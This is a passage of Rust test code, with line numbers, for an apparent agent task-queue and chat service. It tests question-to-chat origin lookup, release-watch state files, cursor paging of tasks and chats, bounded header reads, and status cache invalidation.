26957 ),
26958 ("review", previous.id.as_str(), false, false),
26960 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
26961 ("review", "unrelated", false, false),
26962 ] {
26963 let mut q = Question::new(
26964 reference.into(),
26965 node.into(),
26966 "seat".into(),
26967 "Question".into(),
26968 String::new(),
26969 vec![],
26970 );
26971 ui.questions.put(&mut q).unwrap();
26972 questions.push((q, expected, eligible));
26973 }
26974 for (node, reference, associated, eligible) in [
26975 (crate::reconcile::NODE, previous.id.as_str(), true, false),
26976 (
26977 crate::reconcile::NODE,
26978 previous.runs[0].as_str(),
26979 false,
26980 true,
26981 ),
26982 ("implement", previous.id.as_str(), false, false),
26983 ] {
26984 let mut q = Question::new(
26985 reference.into(),
26986 node.into(),
26987 crate::reconcile::SEAT.into(),
26988 "Reconcile".into(),
26989 String::new(),
26990 vec![],
26991 );
26992 ui.questions.put(&mut q).unwrap();
26993 questions.push((q, associated, eligible));
26994 }
26995 let mut release = Question::new(
26996 "release-record".into(),
26997 crate::bump::NOTICE_NODE.into(),
26998 "release-watch".into(),
26999 "Release".into(),
27000 String::new(),
27001 vec![],
27002 );
27003 ui.questions.put(&mut release).unwrap();
27004 let watch = crate::release_watch::WatchState {
27005 question: Some(release.id.clone()),
27006 run: Some(previous.runs[0].clone()),
27007 held_task: Some(previous.id.clone()),
27008 ..Default::default()
27009 };
27010 let watch_dir = home.path().join("release-watch");
27011 std::fs::create_dir_all(&watch_dir).unwrap();
27012 let watch_path = watch_dir.join("watch.json");
27013 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27014 for batch in [
27016 Vec::new(),
27017 questions.iter().map(|(q, _, _)| q.clone()).collect(),
27018 ] {
27019 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
27020 assert!(watches.is_empty());
27021 }
27022 questions.push((release.clone(), true, false));
27023
27024 let views = questions_list(State(ui.clone())).await.unwrap().0;
27025 let origins = question_origins(State(ui.clone())).await.unwrap().0;
27026 for (q, associated, eligible) in &questions {
27027 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
27028 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
27029 let expected = associated.then_some(chat.as_str());
27030 assert_eq!(
27031 view.origin_chat.as_deref(),
27032 expected,
27033 "{} {}",
27034 q.node,
27035 q.run
27036 );
27037 assert_eq!(origin.origin_chat.as_deref(), expected);
27038 assert_eq!(view.origin_chat_closed, *associated);
27039 assert_eq!(origin.origin_chat_closed, *associated);
27040 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
27041 assert_eq!(origin.can_consult_chat, *eligible);
27042 }
27043 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
27045 let link = crate::release_watch::WatchState {
27046 run,
27047 held_task,
27048 ..watch.clone()
27049 };
27050 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
27051 let (tasks, talks, watches) =
27052 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27053 assert_eq!(
27054 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27055 .unwrap()
27056 .id,
27057 chat,
27058 );
27059 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
27060 }
27061 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27062 let duplicate_path = watch_dir.join("duplicate.json");
27064 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27065 let (tasks, talks, watches) =
27066 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27067 assert!(
27068 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27069 .is_none()
27070 );
27071 std::fs::remove_file(duplicate_path).unwrap();
27072 let mut unrelated = Task::new(
27074 "other".into(),
27075 String::new(),
27076 PathBuf::from("/repo"),
27077 Source::Human,
27078 );
27079 unrelated.id = "unrelated-task".into();
27080 ui.queue.put(&mut unrelated).unwrap();
27081 let mut conflicting = watch.clone();
27082 conflicting.held_task = Some(unrelated.id);
27083 std::fs::write(
27084 watch_dir.join("conflict.json"),
27085 serde_json::to_vec(&conflicting).unwrap(),
27086 )
27087 .unwrap();
27088 let (tasks, talks, watches) =
27089 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27090 assert!(
27091 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27092 .is_none()
27093 );
27094 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
27095 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
27096 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
27097 assert!(origin.origin_chat.is_none());
27098 assert!(!origin.origin_chat_closed);
27099 }
27100 }
27101
27102 #[test]
27103 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
27104 let home = tempfile::tempdir().unwrap();
27105 let ui = delta_test_ui(home.path());
27106 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
27107 for i in 0..1000 {
27108 let mut task = Task::new(
27109 "unrelated".into(),
27110 "instruction ".repeat(256),
27111 PathBuf::from("/repo"),
27112 Source::Human,
27113 );
27114 task.id = format!("history-{i:04}");
27115 ui.queue.put(&mut task).unwrap();
27116 let id = seed_talk_at(&ui.talks, &task.id, "open");
27117 let mut talk = ui.talks.get(&id).unwrap();
27118 talk.pending = "history ".repeat(256);
27119 ui.talks.put(&mut talk).unwrap();
27120 }
27121 let mut parent = Task::new(
27122 "parent".into(),
27123 "body".into(),
27124 PathBuf::from("/repo"),
27125 Source::Agent {
27126 run: chat_id.clone(),
27127 node: crate::queue::CHAT_NODE.into(),
27128 },
27129 );
27130 parent.id = "task-parent".into();
27131 parent.runs = vec!["run-parent".into()];
27132 ui.queue.put(&mut parent).unwrap();
27133 let mut child = Task::new(
27134 "child".into(),
27135 "body".into(),
27136 PathBuf::from("/repo"),
27137 Source::Human,
27138 );
27139 child.id = "task-child".into();
27140 child.runs = vec!["run-child".into()];
27141 child.followup = Some(crate::queue::FollowUp {
27142 run: "run-parent".into(),
27143 origin_task: Some(parent.id.clone()),
27144 pr: "https://example.invalid/pr/1".into(),
27145 findings: vec![],
27146 generation: 1,
27147 });
27148 ui.queue.put(&mut child).unwrap();
27149 let mut question = Question::new(
27150 child.id.clone(),
27151 crate::conduct::NODE.into(),
27152 "seat".into(),
27153 "Continue?".into(),
27154 String::new(),
27155 vec![],
27156 );
27157 let (tasks, talks, _watches) =
27158 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27159 assert_eq!(tasks.len(), 2);
27160 assert_eq!(talks.len(), 1);
27161 assert_eq!(
27162 ui.monitor.queue_index.lock().unwrap().reparsed,
27163 0,
27164 "exact ancestry bypasses the index"
27165 );
27166 assert_eq!(
27167 crate::consult::origin_talk(&tasks, &talks, &question)
27168 .unwrap()
27169 .id,
27170 chat_id
27171 );
27172 question.run = "run-child".into();
27173 question.node = "review".into();
27174 for origin_task in [Some(parent.id.clone()), None] {
27175 child.followup.as_mut().unwrap().origin_task = origin_task;
27176 ui.queue.put(&mut child).unwrap();
27177 let (tasks, talks, _watches) =
27178 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27179 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
27180 let expected =
27181 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
27182 .unwrap();
27183 assert_eq!(actual.id, expected.id);
27184 assert!(!actual.status.open());
27185 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27186 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27187 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
27190 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27191 }
27192 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
27193 ui.queue.put(&mut child).unwrap();
27194 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
27195 let (tasks, talks, _watches) =
27196 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27197 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27198 child.origin_chat = Some(chat_id.clone());
27199 ui.queue.put(&mut child).unwrap();
27200 let (tasks, talks, _watches) =
27201 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27202 assert_eq!(
27203 crate::consult::origin_talk(&tasks, &talks, &question)
27204 .unwrap()
27205 .id,
27206 chat_id
27207 );
27208 let revision = question_record_revision(&question);
27209 question.abandon("settled elsewhere");
27210 assert_ne!(revision, question_record_revision(&question));
27211 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27212 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
27213 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
27214 let (tasks, talks, _watches) =
27215 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27216 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
27217 }
27218
27219 #[test]
27220 fn list_cursors_freeze_membership_and_expire_explicitly() {
27221 let home = tempfile::tempdir().unwrap();
27222 let ui = delta_test_ui(home.path());
27223 std::fs::create_dir_all(ui.queue.root()).unwrap();
27224 for i in 0..40 {
27225 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
27226 }
27227 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
27228 assert_eq!(first.len(), STORE_PAGE_SIZE);
27229 let cursor = cursor.unwrap();
27230 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
27231 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
27232 let (second, _) = page_ids(
27233 &ui,
27234 false,
27235 PageQuery {
27236 before: Some(cursor.clone()),
27237 },
27238 )
27239 .unwrap();
27240 assert_eq!(second[0], "record-0023");
27241 assert!(second.iter().all(|id| !first.contains(id)));
27242 assert!(
27243 page_ids(
27244 &ui,
27245 true,
27246 PageQuery {
27247 before: Some(cursor.clone())
27248 }
27249 )
27250 .is_err()
27251 );
27252 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
27253 assert_eq!(fresh[0], "record-9999");
27254 ui.monitor.list_walks.lock().unwrap().clear();
27255 assert!(
27256 page_ids(
27257 &ui,
27258 false,
27259 PageQuery {
27260 before: Some(cursor)
27261 }
27262 )
27263 .is_err()
27264 );
27265 }
27266
27267 #[tokio::test]
27268 async fn talk_pages_load_every_open_then_frozen_closed_history() {
27269 let home = tempfile::tempdir().unwrap();
27270 let ui = delta_test_ui(home.path());
27271 for i in 0..23 {
27273 seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
27274 }
27275 for i in 0..45 {
27276 seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
27277 }
27278 std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
27279 let first = talks_page(
27280 State(ui.clone()),
27281 Query(PageQuery::default()),
27282 header::HeaderMap::new(),
27283 )
27284 .await
27285 .unwrap()
27286 .0;
27287 assert_eq!(
27288 first.rows.iter().filter(|row| row.status.open()).count(),
27289 23
27290 );
27291 assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
27292 assert!(first.rows[..23].iter().all(|row| row.status.open()));
27293 let parsed = ui
27294 .monitor
27295 .talk_parses
27296 .load(std::sync::atomic::Ordering::Relaxed);
27297 assert_eq!(
27298 parsed,
27299 first.rows.len(),
27300 "closed bodies outside this page are not restored"
27301 );
27302 let fresh = talks_page(
27303 State(ui.clone()),
27304 Query(PageQuery::default()),
27305 header::HeaderMap::new(),
27306 )
27307 .await
27308 .unwrap()
27309 .0;
27310 assert_eq!(fresh.rows.len(), first.rows.len());
27311 assert_eq!(
27312 ui.monitor
27313 .talk_parses
27314 .load(std::sync::atomic::Ordering::Relaxed),
27315 parsed
27316 );
27317 let mut seen: std::collections::HashSet<_> =
27318 first.rows.iter().map(|row| row.id.clone()).collect();
27319 seed_talk_at(&ui.talks, "20261019-000000-000", "open");
27321 seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
27322 std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
27323 let mut next = first.next;
27324 while let Some(cursor) = next {
27325 let page = talks_page(
27326 State(ui.clone()),
27327 Query(PageQuery {
27328 before: Some(cursor),
27329 }),
27330 header::HeaderMap::new(),
27331 )
27332 .await
27333 .unwrap()
27334 .0;
27335 assert!(page.rows.len() <= STORE_PAGE_SIZE);
27336 for row in page.rows {
27337 assert!(seen.insert(row.id), "a cursor must not repeat membership");
27338 }
27339 next = page.next;
27340 }
27341 let expected: HashSet<_> = (0..23)
27342 .map(|i| format!("20260101-000000-{i:03}"))
27343 .chain(
27344 (0..45)
27345 .filter(|i| *i != 1)
27346 .map(|i| format!("20261019-000000-{i:03}")),
27347 )
27348 .collect();
27349 assert_eq!(
27350 seen, expected,
27351 "the cursor walk must return every surviving ID"
27352 );
27353 let refreshed = talks_page(
27354 State(ui.clone()),
27355 Query(PageQuery::default()),
27356 header::HeaderMap::new(),
27357 )
27358 .await
27359 .unwrap()
27360 .0;
27361 assert_eq!(
27362 refreshed
27363 .rows
27364 .iter()
27365 .filter(|row| row.status.open())
27366 .count(),
27367 23
27368 );
27369 assert!(
27370 refreshed
27371 .rows
27372 .iter()
27373 .any(|row| row.id == "20261019-000000-000")
27374 );
27375 assert!(
27376 !refreshed
27377 .rows
27378 .iter()
27379 .any(|row| row.id == "20260101-000000-000")
27380 );
27381 }
27382
27383 #[test]
27384 fn talk_pages_with_only_open_rows_have_no_history_cursor() {
27385 let home = tempfile::tempdir().unwrap();
27386 let ui = delta_test_ui(home.path());
27387 for i in 0..STORE_PAGE_SIZE + 5 {
27388 seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
27389 }
27390 let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
27391 assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
27392 assert!(next.is_none());
27393 }
27394
27395 #[test]
27396 fn chat_status_promotes_closed_owner_goal_in_header() {
27397 let home = tempfile::tempdir().unwrap();
27398 let ui = delta_test_ui(home.path());
27399 for i in 0..STORE_PAGE_SIZE + 5 {
27400 seed_talk_at(&ui.talks, &format!("new-{i:03}"), "closed");
27401 }
27402 let id = seed_talk_at(&ui.talks, "ancient", "closed");
27403 let path = ui.talks.path_of(&id);
27404 let mut raw: serde_json::Value =
27405 serde_json::from_slice(&std::fs::read(&path).unwrap()).unwrap();
27406 raw["goals"] = serde_json::json!([{
27407 "id": "g", "purpose": "ship", "scope": "task",
27408 "condition": {"description": "done", "kind": "tasks_done"},
27409 "state": "owner", "step": "decision", "source_turn": 0,
27410 "owner_input": "ship", "tasks": [], "runs": [], "watches": [],
27411 "evidence": "", "wake": 0, "handled": 0, "started": null,
27412 "wakes": 0, "last_checked": null, "fingerprint": ""
27413 }]);
27414 let chat: talk::Talk = serde_json::from_value(raw.clone()).unwrap();
27415 std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27416 let (ids, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27417 assert!(ids.contains(&id));
27418 let rows = talk_rows(&ui, ids, &header::HeaderMap::new());
27419 let row = rows.iter().find(|row| row.id == id).unwrap();
27420 assert_eq!(row.chat_status.kind, crate::chat_status::Kind::NeedsOwner);
27421 {
27422 let cache = ui.monitor.closed_goal_index.lock().unwrap();
27423 assert!(cache.get(&id).is_some_and(|(_, owner)| *owner));
27424 assert!(cache.len() > STORE_PAGE_SIZE);
27425 }
27426 let (again, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27428 assert!(again.contains(&id));
27429 let modified = path.metadata().unwrap().modified().unwrap();
27431 raw["goals"][0]["state"] = serde_json::json!("paused");
27432 raw["goals"][0]["step"] = serde_json::json!("waiting");
27433 let chat: talk::Talk = serde_json::from_value(raw).unwrap();
27434 std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27435 std::fs::OpenOptions::new()
27436 .write(true)
27437 .open(&path)
27438 .unwrap()
27439 .set_modified(modified)
27440 .unwrap();
27441 let (changed, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27442 assert!(!changed.contains(&id));
27443 let mut raw = serde_json::to_value(&chat).unwrap();
27445 raw["goals"][0]["state"] = serde_json::json!("owner");
27446 let goals = raw.as_object_mut().unwrap().remove("goals").unwrap();
27447 let mut body = serde_json::to_string(&raw).unwrap();
27448 body.pop();
27449 body.push_str(&format!(",\"goals\":{goals}}}"));
27450 std::fs::write(&path, body).unwrap();
27451 let (initial, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27452 assert!(!initial.contains(&id));
27453 let rows = talk_rows(&ui, vec![id], &header::HeaderMap::new());
27454 assert_eq!(
27455 rows[0].chat_status.kind,
27456 crate::chat_status::Kind::NeedsOwner
27457 );
27458 }
27459
27460 #[test]
27461 fn chat_status_revision_tracks_turn_lease_without_transcript_changes() {
27462 let home = tempfile::tempdir().unwrap();
27463 let ui = delta_test_ui(home.path());
27464 let id = seed_talk_at(&ui.talks, "chat", "open");
27465 let before = monitor_scan(&ui, None);
27466 let lease = ui.talks.claim_turn(&id).unwrap().unwrap();
27467 let during = monitor_scan(&ui, Some(before.clone()));
27468 assert_ne!(during.0.3, before.0.3);
27469 drop(lease);
27470 let after = monitor_scan(&ui, Some(during));
27471 assert_eq!(after.0.3, before.0.3);
27472 }
27473
27474 #[test]
27475 fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
27476 struct Counted<R> {
27477 inner: R,
27478 bytes: usize,
27479 }
27480 impl<R: std::io::Read> std::io::Read for Counted<R> {
27481 fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
27482 let n = self.inner.read(buf)?;
27483 self.bytes += n;
27484 Ok(n)
27485 }
27486 }
27487 let home = tempfile::tempdir().unwrap();
27488 let ui = delta_test_ui(home.path());
27489 let id = seed_talk_at(&ui.talks, "header-chat", "closed");
27490 let mut chat = ui.talks.get(&id).unwrap();
27491 for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
27492 chat.turns = vec![
27493 serde_json::from_value(serde_json::json!({
27494 "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
27495 }))
27496 .unwrap(),
27497 ];
27498 for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
27499 chat.status = status;
27500 let body = serde_json::to_vec_pretty(&chat).unwrap();
27502 let mut reader = Counted {
27503 inner: body.as_slice(),
27504 bytes: 0,
27505 };
27506 assert_eq!(read_talk_status(&mut reader), Some(status));
27507 assert!(
27508 reader.bytes <= 1024,
27509 "header classification read {} bytes",
27510 reader.bytes
27511 );
27512 }
27513 }
27514 let noncanonical = format!(
27517 r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
27518 "x".repeat(1024 * 1024)
27519 );
27520 let mut reader = Counted {
27521 inner: noncanonical.as_bytes(),
27522 bytes: 0,
27523 };
27524 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27525 assert!(reader.bytes <= 1024);
27526 let legacy = format!(
27527 r#"{{"status":"closed","turns":[{{"body":"{}"}}],"goals":[]}}"#,
27528 "x".repeat(1024 * 1024)
27529 );
27530 let mut reader = Counted {
27531 inner: legacy.as_bytes(),
27532 bytes: 0,
27533 };
27534 assert!(!read_owner_goal(&mut reader));
27535 assert!(reader.bytes <= 1024);
27536 let oversized = format!(
27537 r#"{{"agent":"{}","status":"open"}}"#,
27538 "x".repeat(128 * 1024)
27539 );
27540 let mut reader = Counted {
27541 inner: oversized.as_bytes(),
27542 bytes: 0,
27543 };
27544 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27545 assert!(reader.bytes <= 64 * 1024);
27546 }
27547
27548 #[test]
27549 fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
27550 let home = tempfile::tempdir().unwrap();
27551 let ui = delta_test_ui(home.path());
27552 seed_talk_at(&ui.talks, "header-chat", "open");
27553 std::fs::create_dir_all(ui.queue.root()).unwrap();
27554 let (started, ready) = std::sync::mpsc::channel();
27555 let (release, wait) = std::sync::mpsc::channel();
27556 let chat_ui = ui.clone();
27557 let scan = std::thread::spawn(move || {
27558 page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
27559 started.send(()).unwrap();
27560 wait.recv().unwrap();
27561 open_talk_ids(ui, ids)
27562 })
27563 .unwrap()
27564 });
27565 ready.recv_timeout(Duration::from_secs(2)).unwrap();
27566 let (finished, result) = std::sync::mpsc::channel();
27567 let queue = std::thread::spawn(move || {
27568 finished
27569 .send(page_ids(&ui, false, PageQuery::default()).is_ok())
27570 .unwrap();
27571 });
27572 let completed = result.recv_timeout(Duration::from_secs(2));
27573 release.send(()).unwrap();
27575 scan.join().unwrap();
27576 queue.join().unwrap();
27577 assert!(
27578 completed.unwrap(),
27579 "queue paging must not wait for chat header I/O"
27580 );
27581 }
27582
27583 #[test]
27584 fn talk_status_projection_does_not_cache_files_changed_during_read() {
27585 let home = tempfile::tempdir().unwrap();
27586 let ui = delta_test_ui(home.path());
27587 let ids = vec!["changing-chat".to_owned()];
27588 seed_talk_at(&ui.talks, &ids[0], "closed");
27589 assert!(open_talk_ids(&ui, &ids).is_empty());
27590 seed_talk_at(&ui.talks, &ids[0], "open");
27591 let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
27592 let value: serde_json::Value =
27593 serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
27594 seed_talk_at(&ui.talks, &ids[0], "closed");
27596 serde_json::from_value(value["status"].clone()).ok()
27597 });
27598 assert!(open.contains(&ids[0]));
27599 assert!(
27600 ui.monitor
27601 .talk_status_index
27602 .lock()
27603 .unwrap()
27604 .records
27605 .is_empty()
27606 );
27607 assert!(open_talk_ids(&ui, &ids).is_empty());
27608 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
27609 }
27610
27611 #[test]
27612 fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
27613 let home = tempfile::tempdir().unwrap();
27614 let ui = delta_test_ui(home.path());
27615 let ids = vec!["same-stamp-chat".to_owned()];
27616 seed_talk_at(&ui.talks, &ids[0], "open");
27617 ui.monitor.talk_status_index.lock().unwrap().records.insert(
27620 ids[0].clone(),
27621 (
27622 file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
27623 Some(talk::TalkStatus::Closed),
27624 ),
27625 );
27626 let open = open_talk_ids_with(&ui, &ids, false, |path| {
27627 std::fs::File::open(path).ok().and_then(read_talk_status)
27628 });
27629 assert!(
27630 open.contains(&ids[0]),
27631 "an untrusted cache hit must still read the current header"
27632 );
27633 assert!(
27634 ui.monitor
27635 .talk_status_index
27636 .lock()
27637 .unwrap()
27638 .records
27639 .is_empty()
27640 );
27641 seed_talk_at(&ui.talks, &ids[0], "closed");
27642 assert!(
27643 open_talk_ids_with(&ui, &ids, false, |path| {
27644 std::fs::File::open(path).ok().and_then(read_talk_status)
27645 })
27646 .is_empty()
27647 );
27648 let index = ui.monitor.talk_status_index.lock().unwrap();
27649 assert_eq!(index.parses, 2);
27650 assert!(
27651 index.records.is_empty(),
27652 "untrusted fingerprints must never publish cache entries"
27653 );
27654 }
27655
27656 #[test]
27657 fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
27658 let home = tempfile::tempdir().unwrap();
27659 let ui = delta_test_ui(home.path());
27660 let headers = header::HeaderMap::new();
27661 seed_talk_at(&ui.talks, "open-chat", "open");
27662 seed_talk_at(&ui.talks, "closed-chat", "closed");
27663 talk_rows(
27664 &ui,
27665 vec!["open-chat".into(), "closed-chat".into()],
27666 &headers,
27667 );
27668 {
27669 let mut index = ui.monitor.talk_index.lock().unwrap();
27670 let closed = index["closed-chat"].1.clone();
27671 for i in 0..1000 {
27672 index.insert(
27673 format!("cached-closed-{i}"),
27674 (
27675 file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
27676 closed.clone(),
27677 ),
27678 );
27679 }
27680 }
27681 assert_eq!(
27682 talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
27683 1
27684 );
27685 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
27686 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27687 assert_eq!(
27688 ui.monitor
27689 .talk_parses
27690 .load(std::sync::atomic::Ordering::Relaxed),
27691 2
27692 );
27693 {
27694 let mut index = ui.monitor.talk_index.lock().unwrap();
27695 let open = index["open-chat"].1.clone();
27696 for i in 0..1000 {
27697 index.insert(
27698 format!("cached-open-{i}"),
27699 (
27700 file_identity(&ui.talks.path_of("open-chat")).unwrap(),
27701 open.clone(),
27702 ),
27703 );
27704 }
27705 }
27706 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27708 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
27709 assert_eq!(
27710 ui.monitor
27711 .talk_parses
27712 .load(std::sync::atomic::Ordering::Relaxed),
27713 2
27714 );
27715 }
27716
27717 #[test]
27718 fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
27719 let home = tempfile::tempdir().unwrap();
27720 let ui = delta_test_ui(home.path());
27721 std::fs::create_dir_all(ui.talks.root()).unwrap();
27722 let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
27723 for id in &ids {
27724 std::fs::write(
27725 ui.talks.path_of(id),
27726 r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
27727 )
27728 .unwrap();
27729 }
27730 assert!(open_talk_ids(&ui, &ids).is_empty());
27731 assert_eq!(
27732 ui.monitor.talk_status_index.lock().unwrap().parses,
27733 ids.len()
27734 );
27735 assert!(open_talk_ids(&ui, &ids).is_empty());
27736 let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
27737 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
27738 std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
27739 std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
27740 assert_eq!(
27741 open_talk_ids(&ui, &ids),
27742 std::collections::HashSet::from([ids[0].clone()])
27743 );
27744 let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
27745 let refreshed = if cfg!(unix) { 2 } else { ids.len() };
27746 assert_eq!(parsed, reused + refreshed);
27747 open_talk_ids(&ui, &ids);
27748 assert_eq!(
27749 ui.monitor.talk_status_index.lock().unwrap().parses,
27750 parsed + if cfg!(unix) { 0 } else { ids.len() },
27751 "only reliable file identity permits caching, including unreadable rows"
27752 );
27753 std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
27754 assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
27755 assert!(
27756 !ui.monitor
27757 .talk_status_index
27758 .lock()
27759 .unwrap()
27760 .records
27761 .contains_key(&ids[0])
27762 );
27763 assert!(
27764 ui.monitor.talk_index.lock().unwrap().is_empty(),
27765 "classification never caches bodies"
27766 );
27767 }
27768
27769 #[tokio::test]
27770 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
27771 let home = tempfile::tempdir().unwrap();
27772 let ui = delta_test_ui(home.path());
27773 let mut task = Task::new(
27774 "task".into(),
27775 "body".into(),
27776 PathBuf::from("/repo"),
27777 Source::Human,
27778 );
27779 ui.queue.put(&mut task).unwrap();
27780 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27781 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27782 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27783 let expected = parsed + usize::from(!cfg!(unix));
27784 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27785 task.status = crate::queue::TaskStatus::Held;
27786 ui.queue.put(&mut task).unwrap();
27787 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27788 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27789 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
27790 ui.queue.put(&mut task).unwrap();
27791 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27792 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27793 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
27794 }
27795
27796 #[tokio::test]
27797 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
27798 let home = tempfile::tempdir().unwrap();
27799 let ui = delta_test_ui(home.path());
27800 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
27801 let before = health(State(ui.clone())).await.unwrap().0;
27802 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
27803 let after = health(State(ui)).await.unwrap().0;
27804 assert_ne!(before.notifications_rev, after.notifications_rev);
27805 assert_eq!(after.notifications_unread, 1);
27806 }
27807
27808 #[tokio::test]
27809 async fn list_pages_bound_history_and_keep_dependency_evidence() {
27810 let home = tempfile::tempdir().unwrap();
27811 let ui = delta_test_ui(home.path());
27812 let queue = &ui.queue;
27813 let talks = &ui.talks;
27814 for i in 0..1000 {
27815 let id = format!("20261019-{i:06}-page");
27816 let mut task = Task::new(
27817 "task".into(),
27818 "instruction".repeat(100),
27819 PathBuf::from("/repo/magi"),
27820 Source::Human,
27821 );
27822 task.id = id.clone();
27823 if i == 0 {
27824 task.status = crate::queue::TaskStatus::Held;
27825 } else if i == 999 {
27826 task.status = crate::queue::TaskStatus::Blocked;
27827 task.blocked_by = vec!["20261019-000000-page".into()];
27828 }
27829 queue.put(&mut task).unwrap();
27830 seed_talk_at(talks, &id, "closed");
27831 }
27832 let page = serde_json::to_value(
27833 queue_page(State(ui.clone()), Query(PageQuery::default()))
27834 .await
27835 .unwrap()
